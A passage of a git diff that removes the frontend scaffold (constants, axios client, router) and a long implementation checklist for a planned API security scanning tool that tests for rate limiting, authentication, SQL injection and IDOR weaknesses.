- ); -} - -export default App; diff --git a/api-security-scanner/frontend/src/config/constants.ts b/api-security-scanner/frontend/src/config/constants.ts deleted file mode 100644 index 6aa86846..00000000 --- a/api-security-scanner/frontend/src/config/constants.ts +++ /dev/null @@ -1,85 +0,0 @@ -/** - * ©AngelaMos | 2025 - * All hardcoded values, API endpoints, and configuration constants - */ - -/** - * API Configuration - */ -export const API_BASE_URL = - import.meta.env.VITE_API_URL || 'http://localhost/api'; - -export const API_ENDPOINTS = { - // Auth endpoints - AUTH: { - REGISTER: '/auth/register', - LOGIN: '/auth/login', - }, - // Scan endpoints - SCANS: { - CREATE: '/scans', - LIST: '/scans', - GET: (id: number) => `/scans/${id}`, - DELETE: (id: number) => `/scans/${id}`, - }, -} as const; - -/** - * LocalStorage Keys - */ -export const STORAGE_KEYS = { - AUTH_TOKEN: 'auth_token', - USER: 'user', -} as const; - -/** - * Application Constants - */ -export const APP_NAME = 'API Security Scanner'; -export const APP_VERSION = '1.0.0'; - -/** - * Scan Configuration - */ -export const SCAN_TYPES = { - RATE_LIMIT: 'rate_limit', - AUTH: 'auth', - SQLI: 'sqli', - IDOR: 'idor', -} as const; - -export const SCAN_TYPE_LABELS: Record = { - [SCAN_TYPES.RATE_LIMIT]: 'Rate Limiting', - [SCAN_TYPES.AUTH]: 'Authentication', - [SCAN_TYPES.SQLI]: 'SQL Injection', - [SCAN_TYPES.IDOR]: 'IDOR', -}; - -/** - * Severity Levels - */ -export const SEVERITY = { - CRITICAL: 'critical', - HIGH: 'high', - MEDIUM: 'medium', - LOW: 'low', - INFO: 'info', -} as const; - -export const SEVERITY_COLORS: Record = { - [SEVERITY.CRITICAL]: '#dc2626', - [SEVERITY.HIGH]: '#ea580c', - [SEVERITY.MEDIUM]: '#f59e0b', - [SEVERITY.LOW]: '#3b82f6', - [SEVERITY.INFO]: '#6b7280', -}; - -/** - * Scan Status - */ -export const SCAN_STATUS = { - PENDING: 'pending', - RUNNING: 'running', - COMPLETED: 'completed', - FAILED: 'failed', -} as const; diff --git a/api-security-scanner/frontend/src/lib/api.ts b/api-security-scanner/frontend/src/lib/api.ts deleted file mode 100644 index 7e624ef6..00000000 --- a/api-security-scanner/frontend/src/lib/api.ts +++ /dev/null @@ -1,51 +0,0 @@ -/** - * ©AngelaMos | 2025 - * Axios instance with request/response interceptors - */ - -import axios, { AxiosError, AxiosResponse } from 'axios'; -import { API_BASE_URL, STORAGE_KEYS } from '@/config/constants'; - -/** - * Create axios instance with base configuration - */ -export const api = axios.create({ - baseURL: API_BASE_URL, - timeout: 30000, - headers: { - 'Content-Type': 'application/json', - }, -}); - -/** - * Request interceptor - attach auth token to requests - */ -api.interceptors.request.use( - (config) => { - const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN); - if (token) { - config.headers.Authorization = `Bearer ${token}`; - } - return config; - }, - (error: AxiosError) => { - return Promise.reject(error); - }, -); - -/** - * Response interceptor - handle common errors - */ -api.interceptors.response.use( - (response: AxiosResponse) => { - return response; - }, - (error: AxiosError) => { - if (error.response?.status === 401) { - localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN); - localStorage.removeItem(STORAGE_KEYS.USER); - window.location.href = '/login'; - } - return Promise.reject(error); - }, -); diff --git a/api-security-scanner/frontend/src/router.tsx b/api-security-scanner/frontend/src/router.tsx deleted file mode 100644 index a7da38be..00000000 --- a/api-security-scanner/frontend/src/router.tsx +++ /dev/null @@ -1,51 +0,0 @@ -/** - * ©AngelaMos | 2025 - * Application routing configuration - */ - -import { createBrowserRouter } from 'react-router-dom'; - -/** - * Placeholder components for routes - */ -const PlaceholderPage = ({ title }: { title: string }) => ( -
-

{title}

-

Page coming soon...

-
-); - -export const router = createBrowserRouter([ - { - path: '/', - element: , - }, - { - path: '/login', - element: , - }, - { - path: '/register', - element: , - }, - { - path: '/scan', - element: , - }, - { - path: '/history', - element: , - }, -]); diff --git a/checklist.md b/checklist.md deleted file mode 100644 index 1e8c1679..00000000 --- a/checklist.md +++ /dev/null @@ -1,698 +0,0 @@ -# API Security Testing Tool - Implementation Checklist - -**Project Start Date:** 2025-11-08 -**Status:** In Progress - ---- - -## ✅ PROJECT SETUP - -### Initial Structure -- [x] Create `/backend` directory -- [ ] Create `/frontend` directory -- [ ] Create `/conf` directory for Docker/Nginx configs -- [x] Create root `.gitignore` file - ---- - -## 🐍 BACKEND - FOUNDATION - -### Python Project Setup -- [ ] Create `backend/pyproject.toml` with project metadata -- [ ] Create `backend/requirements.txt` with all dependencies -- [ ] Create `backend/.python-version` (specify Python 3.11) -- [x] Create `backend/.style.yapf` for code formatting -- [ ] Create `backend/.env.example` with all required environment variables -- [ ] Create `backend/__init__.py` (empty, marks as package) - -### Core Configuration -- [ ] Create `backend/config.py` with Settings class (Pydantic BaseSettings) -- [ ] Add all magic number constants to config.py (PASSWORD_MIN_LENGTH, MAX_REQUESTS_DEFAULT, etc.) -- [ ] Add database URL configuration -- [ ] Add JWT settings (SECRET_KEY, ALGORITHM, ACCESS_TOKEN_EXPIRE_MINUTES) -- [ ] Add CORS origins configuration -- [ ] Add scanner default settings -- [ ] Implement cached settings function with @lru_cache - -### Core Modules - `backend/core/` -- [ ] Create `backend/core/__init__.py` -- [ ] Create `backend/core/enums.py` with ScanStatus enum -- [ ] Add Severity enum to enums.py -- [ ] Add TestType enum to enums.py -- [ ] Create `backend/core/database.py` with SQLAlchemy engine setup -- [ ] Add SessionLocal factory to database.py -- [ ] Add Base declarative_base to database.py -- [ ] Add get_db() dependency function to database.py -- [ ] Create `backend/core/security.py` with bcrypt password hashing -- [ ] Add JWT token creation function to security.py -- [ ] Add JWT token decode/verify function to security.py -- [ ] Create `backend/core/dependencies.py` with HTTPBearer security -- [ ] Add get_current_user() dependency to dependencies.py - ---- - -## 🗄️ BACKEND - DATA LAYER - -### Models - `backend/models/` -- [ ] Create `backend/models/__init__.py` -- [ ] Create `backend/models/User.py` (thin, just table definition) -- [ ] Create `backend/models/ScanResult.py` (scan history table) -- [ ] Create `backend/models/ApiTarget.py` (optional: store target APIs) - -### Schemas (Pydantic V2) - `backend/schemas/` -- [ ] Create `backend/schemas/__init__.py` -- [ ] Create `backend/schemas/shared_schemas.py` with generic response models -- [ ] Create `backend/schemas/user_schemas.py` with UserCreate schema -- [ ] Add UserLogin schema to user_schemas.py -- [ ] Add UserResponse schema with ConfigDict(from_attributes=True) to user_schemas.py -- [ ] Add TokenResponse schema to user_schemas.py -- [ ] Create `backend/schemas/scan_schemas.py` with ScanRequest schema -- [ ] Add ScanResult schema to scan_schemas.py (individual test result) -- [ ] Add ScanResponse schema to scan_schemas.py (complete scan response) -- [ ] Replace ALL magic numbers in Field() with config constants - -### TypedDicts - `backend/types/` -- [ ] Create `backend/types/__init__.py` -- [ ] Create `backend/types/scan_types.py` with ScannerResult TypedDict -- [ ] Add ScannerConfig TypedDict to scan_types.py -- [ ] Create `backend/types/service_types.py` with service layer TypedDicts -- [ ] Create `backend/types/repository_types.py` with UserDict TypedDict - -### Repositories - `backend/repositories/` -- [ ] Create `backend/repositories/__init__.py` -- [ ] Create `backend/repositories/shared_repository.py` with base repository functions -- [ ] Create `backend/repositories/user_repository.py` as static class -- [ ] Add get_by_email() method to UserRepository -- [ ] Add get_by_id() method to UserRepository -- [ ] Add create() method to UserRepository -- [ ] Add get_all_active() method to UserRepository -- [ ] Create `backend/repositories/scan_repository.py` as static class -- [ ] Add save_scan() method to ScanRepository -- [ ] Add get_by_user() method to ScanRepository -- [ ] Add get_by_id() method to ScanRepository - ---- - -## 🧠 BACKEND - BUSINESS LOGIC - -### Services - `backend/services/` -- [ ] Create `backend/services/__init__.py` -- [ ] Create `backend/services/auth_service.py` with AuthService class -- [ ] Add register_user() method to AuthService -- [ ] Add login_user() method to AuthService (returns TokenResponse) -- [ ] Add password validation logic to AuthService -- [ ] Add user existence check to AuthService -- [ ] Create `backend/services/user_service.py` with UserService class -- [ ] Add get_user_profile() method to UserService -- [ ] Add update_user() method to UserService -- [ ] Create `backend/services/scan_service.py` with ScanService class -- [ ] Add run_scan() async method to ScanService -- [ ] Add get_scan_history() method to ScanService -- [ ] Add get_scan_by_id() method to ScanService -- [ ] Implement concurrent scanner execution with asyncio.gather() in ScanService - ---- - -## 🔍 BACKEND - SECURITY SCANNERS - -### Base Scanner - `backend/scanners/` -- [ ] Create `backend/scanners/__init__.py` -- [ ] Create `backend/scanners/base_scanner.py` with BaseScanner ABC -- [ ] Add abstract scan() method to BaseScanner -- [ ] Add _create_result() helper method to BaseScanner - -### Rate Limit Scanner -- [ ] Create `backend/scanners/rate_limit_scanner.py` inheriting BaseScanner -- [ ] Implement concurrent request sending with httpx AsyncClient -- [ ] Add response analysis logic (count 429 status codes) -- [ ] Add vulnerability detection logic (no rate limiting = vulnerable) -- [ ] Add evidence collection (requests_sent, successful_requests, rate_limited) -- [ ] Add recommendations for vulnerable cases -- [ ] Add _send_request() helper method - -### Auth Scanner -- [ ] Create `backend/scanners/auth_scanner.py` inheriting BaseScanner -- [ ] Implement expired token test -- [ ] Implement missing token test -- [ ] Implement malformed token test -- [ ] Implement token location tests (header/query/body) -- [ ] Add vulnerability detection logic -- [ ] Add evidence collection -- [ ] Add recommendations - -### SQLi Scanner -- [ ] Create `backend/scanners/sqli_scanner.py` inheriting BaseScanner -- [ ] Define common SQLi payloads list -- [ ] Implement payload injection in URL params -- [ ] Implement payload injection in request body -- [ ] Implement error-based detection (look for SQL errors in responses) -- [ ] Implement time-based detection (measure response times) -- [ ] Add vulnerability detection logic -- [ ] Add evidence collection (vulnerable params, payloads that worked) -- [ ] Add recommendations - -### IDOR/BOLA Scanner -- [ ] Create `backend/scanners/idor_scanner.py` inheriting BaseScanner -- [ ] Implement ID parameter detection in URLs -- [ ] Implement ID increment/decrement testing -- [ ] Implement unauthorized access detection (200 status = vulnerable) -- [ ] Add vulnerability detection logic -- [ ] Add evidence collection (accessible IDs, endpoints) -- [ ] Add recommendations - ---- - -## 🛣️ BACKEND - API ROUTES - -### Routes - `backend/routes/` -- [ ] Create `backend/routes/__init__.py` -- [ ] Create `backend/routes/auth.py` with APIRouter -- [ ] Add POST /api/auth/register endpoint (returns UserResponse) -- [ ] Add POST /api/auth/login endpoint (returns TokenResponse) -- [ ] Add exception handling for ValueError in auth routes -- [ ] Create `backend/routes/users.py` with APIRouter -- [ ] Add GET /api/users/profile endpoint (protected) -- [ ] Add PUT /api/users/update endpoint (protected) -- [ ] Create `backend/routes/scans.py` with APIRouter -- [ ] Add POST /api/scans/run endpoint (async, protected) -- [ ] Add GET /api/scans/history endpoint (protected) -- [ ] Add GET /api/scans/{scan_id} endpoint (protected) - -### Main Application -- [ ] Create `backend/main.py` with FastAPI app initialization -- [ ] Add CORS middleware with configured origins -- [ ] Include auth router with prefix /api/auth -- [ ] Include users router with prefix /api/users -- [ ] Include scans router with prefix /api/scans -- [ ] Add root health check endpoint GET / -- [ ] Add database table creation (Base.metadata.create_all) -- [ ] Configure docs URL as /api/docs -- [ ] Configure redoc URL as /api/redoc -- [ ] Add uvicorn run configuration if __name__ == "__main__" - ---- - -## ⚛️ FRONTEND - FOUNDATION - -### Vite + React + TypeScript Setup -- [ ] Initialize Vite project with React + TypeScript template in /frontend -- [ ] Create `frontend/tsconfig.json` with strict mode enabled -- [ ] Create `frontend/vite.config.ts` with path aliases (@/) -- [ ] Create `frontend/.eslintrc.cjs` with TypeScript rules -- [ ] Create `frontend/.prettierrc` with formatting rules -- [ ] Create `frontend/.env.example` with VITE_API_URL - -### Package Installation -- [ ] Install React and React-DOM -- [ ] Install react-router-dom for routing -- [ ] Install @tanstack/react-query for server state -- [ ] Install zustand for UI state management -- [ ] Install axios for HTTP requests -- [ ] Install zod for validation -- [ ] Install react-hook-form for forms -- [ ] Install @hookform/resolvers for Zod integration -- [ ] Install @radix-ui/react-tabs for accessible tabs -- [ ] Install @radix-ui/react-dialog for modals -- [ ] Install recharts for data visualization -- [ ] Install react-icons for icons - -### Frontend Structure -- [ ] Create `frontend/src/config/` directory -- [ ] Create `frontend/src/types/` directory -- [ ] Create `frontend/src/hooks/` directory -- [ ] Create `frontend/src/lib/` directory -- [ ] Create `frontend/src/store/` directory -- [ ] Create `frontend/src/services/` directory -- [ ] Create `frontend/src/components/` directory -- [ ] Create `frontend/src/pages/` directory -- [ ] Create `frontend/src/styles/` directory - ---- - -## ⚙️ FRONTEND - CONFIGURATION - -### Config Files - `frontend/src/config/` -- [ ] Create `frontend/src/config/constants.ts` with APP_CONFIG object -- [ ] Add ROUTES constants to constants.ts (LOGIN, REGISTER, DASHBOARD, etc.) -- [ ] Add UI_TEXT constants to constants.ts (buttons, headers, labels, placeholders, errors, success) -- [ ] Add SCAN_CONFIG constants to constants.ts (max requests, available tests) -- [ ] Add SEVERITY_CONFIG to constants.ts (colors, labels, icons) -- [ ] Create `frontend/src/config/api.ts` with API_CONFIG object -- [ ] Add BASE_URL to api.ts (from env var) -- [ ] Add TIMEOUT to api.ts -- [ ] Add all ENDPOINTS to api.ts (AUTH, SCANS, USERS) -- [ ] Create `frontend/src/config/theme.css` with CSS variables -- [ ] Add color variables (primary, status colors, backgrounds, text, borders) -- [ ] Add spacing variables to theme.css -- [ ] Add border-radius variables to theme.css -- [ ] Add shadow variables to theme.css -- [ ] Add transition variables to theme.css -- [ ] Add typography variables to theme.css -- [ ] Add z-index layer variables to theme.css - ---- - -## 📝 FRONTEND - TYPES - -### Type Definitions - `frontend/src/types/` -- [ ] Create `frontend/src/types/api.types.ts` -- [ ] Add LoginRequest interface to api.types.ts -- [ ] Add RegisterRequest interface to api.types.ts -- [ ] Add AuthResponse interface to api.types.ts -- [ ] Add UserResponse interface to api.types.ts -- [ ] Add TestType type union to api.types.ts -- [ ] Add ScanStatus type union to api.types.ts -- [ ] Add Severity type union to api.types.ts -- [ ] Add ScanRequest interface to api.types.ts -- [ ] Add ScanResult interface to api.types.ts -- [ ] Add ScanResponse interface to api.types.ts -- [ ] Create `frontend/src/types/scan.types.ts` for scanner-specific types -- [ ] Create `frontend/src/types/auth.types.ts` for auth-specific types - ---- - -## 🔌 FRONTEND - API INTEGRATION - -### API Client - `frontend/src/lib/` -- [ ] Create `frontend/src/lib/api.ts` with axios instance creation -- [ ] Configure axios baseURL from API_CONFIG -- [ ] Configure axios timeout -- [ ] Add request interceptor to attach JWT token from localStorage -- [ ] Add response interceptor to handle 401 errors (logout + redirect) -- [ ] Create `frontend/src/lib/queryClient.ts` with TanStack Query setup -- [ ] Configure default query options (refetchOnWindowFocus, retry, staleTime) -- [ ] Create `frontend/src/lib/utils.ts` for helper functions - -### Services - `frontend/src/services/` -- [ ] Create `frontend/src/services/authService.ts` -- [ ] Add login() function to authService (store token in localStorage) -- [ ] Add register() function to authService -- [ ] Add logout() function to authService (remove token + redirect) -- [ ] Add getToken() function to authService -- [ ] Add isAuthenticated() function to authService -- [ ] Create `frontend/src/services/scanService.ts` -- [ ] Add runScan() function to scanService -- [ ] Add getScanHistory() function to scanService -- [ ] Add getScanById() function to scanService - ---- - -## 🪝 FRONTEND - CUSTOM HOOKS - -### Hooks - `frontend/src/hooks/` -- [ ] Create `frontend/src/hooks/useAuth.ts` -- [ ] Add useLogin() hook with useMutation (invalidates queries on success) -- [ ] Add useRegister() hook with useMutation -- [ ] Add useLogout() hook -- [ ] Add useAuth() hook (returns isAuthenticated + logout) -- [ ] Create `frontend/src/hooks/useScan.ts` -- [ ] Add useRunScan() hook with useMutation (invalidates scan history) -- [ ] Add useScanHistory() hook with useQuery -- [ ] Add useScan(scanId) hook with useQuery (enabled when scanId exists) -- [ ] Create `frontend/src/hooks/useLocalStorage.ts` for generic localStorage hook - ---- - -## 🏪 FRONTEND - STATE MANAGEMENT - -### Zustand Store - `frontend/src/store/` -- [ ] Create `frontend/src/store/uiStore.ts` with Zustand store -- [ ] Add theme state (dark/light) to uiStore -- [ ] Add setTheme() action to uiStore -- [ ] Add toggleTheme() action to uiStore -- [ ] Add sidebarOpen state to uiStore -- [ ] Add toggleSidebar() action to uiStore -- [ ] Add isLoading state to uiStore -- [ ] Add setLoading() action to uiStore -- [ ] Implement persist middleware for theme and sidebarOpen - ---- - -## 🎨 FRONTEND - COMMON COMPONENTS - -### Common Components - `frontend/src/components/common/` -- [ ] Create `frontend/src/components/common/Button.tsx` -- [ ] Add Button component with variant prop (primary, secondary, danger, success, ghost) -- [ ] Add size prop to Button (sm, md, lg) -- [ ] Add isLoading prop to Button (shows spinner) -- [ ] Create `frontend/src/styles/components/Button.css` with all variants -- [ ] Create `frontend/src/components/common/Input.tsx` -- [ ] Add Input component with label, error, and all HTML input props -- [ ] Create `frontend/src/styles/components/Input.css` -- [ ] Create `frontend/src/components/common/Card.tsx` -- [ ] Create `frontend/src/styles/components/Card.css` -- [ ] Create `frontend/src/components/common/Badge.tsx` for status/severity badges -- [ ] Create `frontend/src/styles/components/Badge.css` with severity colors -- [ ] Create `frontend/src/components/common/LoadingSpinner.tsx` -- [ ] Create `frontend/src/styles/components/LoadingSpinner.css` - ---- - -## 🏗️ FRONTEND - LAYOUT COMPONENTS - -### Layout - `frontend/src/components/layout/` -- [ ] Create `frontend/src/components/layout/Header.tsx` -- [ ] Add logo/app name to Header -- [ ] Add user email display to Header -- [ ] Add logout button to Header -- [ ] Add theme toggle to Header -- [ ] Create `frontend/src/styles/components/Header.css` -- [ ] Create `frontend/src/components/layout/Sidebar.tsx` -- [ ] Add navigation links to Sidebar (Dashboard, Scan, History) -- [ ] Add active route highlighting to Sidebar -- [ ] Create `frontend/src/styles/components/Sidebar.css` -- [ ] Create `frontend/src/components/layout/Layout.tsx` with Outlet -- [ ] Combine Header + Sidebar + main content area in Layout -- [ ] Create `frontend/src/styles/components/Layout.css` - ---- - -## 🔐 FRONTEND - AUTH COMPONENTS - -### Auth Components - `frontend/src/components/auth/` -- [ ] Create `frontend/src/components/auth/LoginForm.tsx` -- [ ] Add React Hook Form setup with Zod validation to LoginForm -- [ ] Add email field to LoginForm (validated with EmailStr) -- [ ] Add password field to LoginForm (min 8 chars) -- [ ] Add submit button with loading state to LoginForm -- [ ] Add error message display to LoginForm -- [ ] Add "Register" link to LoginForm -- [ ] Create `frontend/src/styles/components/LoginForm.css` -- [ ] Create `frontend/src/components/auth/RegisterForm.tsx` -- [ ] Add React Hook Form setup with Zod validation to RegisterForm -- [ ] Add email and password fields to RegisterForm -- [ ] Add password confirmation field to RegisterForm -- [ ] Add submit button with loading state to RegisterForm -- [ ] Add error message display to RegisterForm -- [ ] Add "Login" link to RegisterForm -- [ ] Create `frontend/src/styles/components/RegisterForm.css` - ---- - -## 🔬 FRONTEND - SCAN COMPONENTS - -### Scan Components - `frontend/src/components/scan/` -- [ ] Create `frontend/src/components/scan/ScanConfigForm.tsx` -- [ ] Add React Hook Form setup with Zod validation to ScanConfigForm -- [ ] Add target_url field to ScanConfigForm (validated as URL) -- [ ] Add auth_token field to ScanConfigForm (optional) -- [ ] Add tests_to_run checkboxes to ScanConfigForm (from SCAN_CONFIG) -- [ ] Add max_requests number input to ScanConfigForm (min/max from config) -- [ ] Add submit button with loading state to ScanConfigForm -- [ ] Add form error handling to ScanConfigForm -- [ ] Create `frontend/src/styles/components/ScanConfigForm.css` -- [ ] Create `frontend/src/components/scan/ScanResults.tsx` -- [ ] Add results summary header to ScanResults (total tests, vulnerabilities found) -- [ ] Add results grid to ScanResults (maps over results array) -- [ ] Add export button to ScanResults -- [ ] Create `frontend/src/styles/components/ScanResults.css` -- [ ] Create `frontend/src/components/scan/ResultCard.tsx` -- [ ] Add test name header to ResultCard -- [ ] Add status badge to ResultCard (uses SEVERITY_CONFIG for colors/icons) -- [ ] Add details section to ResultCard -- [ ] Add evidence section to ResultCard (formatted JSON) -- [ ] Add recommendations list to ResultCard -- [ ] Add conditional styling for vulnerable vs safe in ResultCard -- [ ] Create `frontend/src/styles/components/ResultCard.css` -- [ ] Create `frontend/src/components/scan/ScanHistory.tsx` -- [ ] Add table/list view to ScanHistory -- [ ] Add date, target URL, vulnerabilities count to each history item -- [ ] Add "View Details" button to each history item -- [ ] Create `frontend/src/styles/components/ScanHistory.css` - ---- - -## 📄 FRONTEND - PAGES - -### Pages - `frontend/src/pages/` -- [ ] Create `frontend/src/pages/LoginPage.tsx` -- [ ] Add LoginForm component to LoginPage -- [ ] Add page title and description to LoginPage -- [ ] Create `frontend/src/styles/pages/LoginPage.css` -- [ ] Create `frontend/src/pages/RegisterPage.tsx` -- [ ] Add RegisterForm component to RegisterPage -- [ ] Add page title and description to RegisterPage -- [ ] Create `frontend/src/styles/pages/RegisterPage.css` -- [ ] Create `frontend/src/pages/DashboardPage.tsx` -- [ ] Add welcome message to DashboardPage -- [ ] Add quick stats (total scans, recent vulnerabilities) to DashboardPage -- [ ] Add recent scan results to DashboardPage -- [ ] Create `frontend/src/styles/pages/DashboardPage.css` -- [ ] Create `frontend/src/pages/ScanPage.tsx` -- [ ] Add ScanConfigForm to ScanPage -- [ ] Add ScanResults display to ScanPage (conditional on scan completion) -- [ ] Create `frontend/src/styles/pages/ScanPage.css` -- [ ] Create `frontend/src/pages/HistoryPage.tsx` -- [ ] Add ScanHistory component to HistoryPage -- [ ] Add pagination to HistoryPage -- [ ] Create `frontend/src/styles/pages/HistoryPage.css` - ---- - -## 🎯 FRONTEND - APP SETUP - -### Main App Files -- [ ] Create `frontend/src/App.tsx` with React Router setup -- [ ] Add Routes for /login, /register to App.tsx -- [ ] Add ProtectedRoute wrapper component to App.tsx -- [ ] Add Routes for /, /scan, /history (all protected) to App.tsx -- [ ] Add Layout wrapper for protected routes in App.tsx -- [ ] Create `frontend/src/main.tsx` entry point -- [ ] Add QueryClientProvider to main.tsx -- [ ] Add BrowserRouter to main.tsx -- [ ] Import theme.css in main.tsx -- [ ] Import index.css in main.tsx -- [ ] Create `frontend/src/styles/index.css` with global styles -- [ ] Add CSS reset/normalize to index.css -- [ ] Add global font families to index.css -- [ ] Add global box-sizing to index.css -- [ ] Update `frontend/index.html` with app title and meta tags - ---- - -## 🐳 DOCKER CONFIGURATION - -### Docker Files - `/conf/` -- [ ] Create `conf/Dockerfile.backend` -- [ ] Add Python 3.11-slim base image to Dockerfile.backend -- [ ] Add WORKDIR /app to Dockerfile.backend -- [ ] Add requirements.txt COPY and pip install to Dockerfile.backend -- [ ] Add application code COPY to Dockerfile.backend -- [ ] Add EXPOSE 8000 to Dockerfile.backend -- [ ] Add CMD with uvicorn to Dockerfile.backend -- [ ] Create `conf/Dockerfile.frontend` -- [ ] Add Node 20-alpine base image to Dockerfile.frontend -- [ ] Add WORKDIR /app to Dockerfile.frontend -- [ ] Add package.json COPY and npm ci to Dockerfile.frontend -- [ ] Add application code COPY to Dockerfile.frontend -- [ ] Add EXPOSE 5173 to Dockerfile.frontend -- [ ] Add CMD with npm run dev to Dockerfile.frontend -- [ ] Create `conf/nginx.conf` -- [ ] Add events block with worker_connections to nginx.conf -- [ ] Add upstream backend block to nginx.conf -- [ ] Add upstream frontend block to nginx.conf -- [ ] Add server block listening on port 80 to nginx.conf -- [ ] Add location / proxy to frontend in nginx.conf -- [ ] Add location /api proxy to backend in nginx.conf -- [ ] Add WebSocket upgrade headers to nginx.conf - -### Docker Compose -- [ ] Create `docker-compose.yml` at project root -- [ ] Add PostgreSQL 16-alpine service to docker-compose.yml -- [ ] Configure postgres environment variables (user, password, db) -- [ ] Add postgres port mapping 5432:5432 -- [ ] Add postgres volume for data persistence -- [ ] Add postgres healthcheck -- [ ] Add backend service to docker-compose.yml -- [ ] Configure backend build context and Dockerfile path -- [ ] Add backend environment variables (DATABASE_URL, SECRET_KEY, DEBUG) -- [ ] Add backend port mapping 8000:8000 -- [ ] Add backend depends_on db with health condition -- [ ] Add backend volume for hot reload -- [ ] Add backend command with --reload flag -- [ ] Add frontend service to docker-compose.yml -- [ ] Configure frontend build context and Dockerfile path -- [ ] Add frontend environment variable VITE_API_URL -- [ ] Add frontend port mapping 5173:5173 -- [ ] Add frontend volumes (code + node_modules) -- [ ] Add frontend command with --host flag -- [ ] Add nginx service to docker-compose.yml (production profile) -- [ ] Configure nginx port 80:80 -- [ ] Add nginx volume for config file -- [ ] Add nginx depends_on backend and frontend -- [ ] Define postgres_data volume at bottom of docker-compose.yml - -### Environment Configuration -- [ ] Create `.env` file at project root (copy from .env.example) -- [ ] Set SECRET_KEY in .env (generate random key) -- [ ] Set DEBUG=true for development in .env -- [ ] Set DATABASE_URL in .env -- [ ] Create `frontend/.env` file -- [ ] Set VITE_API_URL=http://localhost:8000 in frontend/.env - ---- - -## 🧪 TESTING - -### Backend Testing -- [ ] Create `backend/tests/__init__.py` -- [ ] Create `backend/tests/conftest.py` with pytest fixtures -- [ ] Add test database fixture to conftest.py -- [ ] Add test client fixture to conftest.py -- [ ] Create `backend/tests/test_auth_service.py` -- [ ] Add test for user registration in test_auth_service.py -- [ ] Add test for user login in test_auth_service.py -- [ ] Add test for duplicate email in test_auth_service.py -- [ ] Create `backend/tests/test_scan_service.py` -- [ ] Add test for successful scan in test_scan_service.py -- [ ] Add test for concurrent scanner execution in test_scan_service.py -- [ ] Create `backend/tests/test_scanners/` directory -- [ ] Add test for rate limit scanner -- [ ] Add test for auth scanner -- [ ] Add test for SQLi scanner -- [ ] Add test for IDOR scanner -- [ ] Create `backend/tests/test_routes/` directory -- [ ] Add test for auth endpoints -- [ ] Add test for scan endpoints - -### Frontend Testing -- [ ] Install vitest, @testing-library/react, @testing-library/user-event -- [ ] Create `frontend/vitest.config.ts` -- [ ] Create `frontend/src/tests/setup.ts` with testing setup -- [ ] Create `frontend/src/components/__tests__/` directory -- [ ] Add Button component tests -- [ ] Add Input component tests -- [ ] Add LoginForm tests -- [ ] Add ScanConfigForm tests -- [ ] Create `frontend/src/hooks/__tests__/` directory -- [ ] Add useAuth hook tests -- [ ] Add useScan hook tests - ---- - -## 📚 DOCUMENTATION - -### README Files -- [ ] Create comprehensive root `README.md` -- [ ] Add project overview to README -- [ ] Add features list to README -- [ ] Add tech stack to README -- [ ] Add quick start guide to README -- [ ] Add Docker setup instructions to README -- [ ] Add local development setup to README -- [ ] Add API documentation link to README -- [ ] Add contribution guidelines to README -- [ ] Add license to README -- [ ] Create `backend/README.md` with backend-specific docs -- [ ] Create `frontend/README.md` with frontend-specific docs - -### Code Documentation -- [ ] Add docstrings to all backend functions/classes -- [ ] Add JSDoc comments to all frontend functions/components -- [ ] Add inline comments for complex logic in backend -- [ ] Add inline comments for complex logic in frontend - -### API Documentation -- [ ] Verify FastAPI auto-generated docs at /api/docs work -- [ ] Verify ReDoc at /api/redoc works -- [ ] Create Postman/Insomnia collection for API testing (optional) - ---- - -## 🚀 DEPLOYMENT PREPARATION - -### Production Configuration -- [ ] Create production `.env.example` with secure defaults -- [ ] Add HTTPS configuration to nginx.conf (commented out) -- [ ] Add Gunicorn configuration for backend -- [ ] Add production build script to frontend package.json -- [ ] Create production docker-compose.prod.yml -- [ ] Add health check endpoints to backend -- [ ] Add frontend build optimization in vite.config.ts - -### Security Hardening -- [ ] Add rate limiting to FastAPI backend -- [ ] Add CORS whitelist for production -- [ ] Add CSP headers to nginx -- [ ] Add security headers to nginx (X-Frame-Options, etc.) -- [ ] Add input sanitization to frontend -- [ ] Verify JWT expiration works correctly -- [ ] Verify password hashing uses bcrypt - ---- - -## ✅ FINAL CHECKS - -### Code Quality -- [ ] Run pylint/ruff on backend code -- [ ] Run ESLint on frontend code -- [ ] Run Prettier on frontend code -- [ ] Format backend code with yapf/black -- [ ] Check all type hints in backend -- [ ] Check all TypeScript types in frontend -- [ ] Verify no `any` types in frontend -- [ ] Verify no magic numbers/strings in backend -- [ ] Verify no magic numbers/strings in frontend - -### Functionality Testing -- [ ] Test user registration flow end-to-end -- [ ] Test user login flow end-to-end -- [ ] Test JWT token expiration and refresh -- [ ] Test rate limit scanner against test API -- [ ] Test auth scanner against test API -- [ ] Test SQLi scanner against test API -- [ ] Test IDOR scanner against test API -- [ ] Test scan history retrieval -- [ ] Test scan results display -- [ ] Test export functionality (if implemented) -- [ ] Test responsive design on mobile -- [ ] Test responsive design on tablet -- [ ] Test responsive design on desktop - -### Performance -- [ ] Check backend API response times -- [ ] Check frontend initial load time -- [ ] Verify lazy loading works for routes -- [ ] Verify TanStack Query caching works -- [ ] Check database query performance -- [ ] Add indexes to database tables if needed - -### Git & GitHub -- [ ] Initialize git repository -- [ ] Create `.gitignore` (node_modules, .env, __pycache__, etc.) -- [ ] Make initial commit -- [ ] Create GitHub repository -- [ ] Push to GitHub -- [ ] Add repository description -- [ ] Add repository topics/tags -- [ ] Create LICENSE file -- [ ] Add screenshots to README -- [ ] Add demo GIF/video to README - ---- - -## 📊 PROJECT METRICS - -**Total Tasks:** 390+ -**Estimated Time:** 8-12 hours -**Completed:** 0% - ---- - -## 🎯 PRIORITY ORDER (What to Build First) - -1. **Backend Foundation** (config, core, models, schemas) -2. **Backend Repositories & Services** (data + business logic) -3. **Backend Routes** (API endpoints) -4. **One Scanner** (rate limit - simplest) -5. **Frontend Foundation** (config, types, services) -6. **Frontend Auth** (login/register pages) -7. **Frontend Scan Page** (form + results) -8. **Remaining Scanners** (auth, SQLi, IDOR) -9. **Docker Setup** (get everything running together) -10. **Testing & Polish** (tests, docs, final touches) - ---- - -**Last Updated:** 2025-11-08 -**Current Phase:** Setup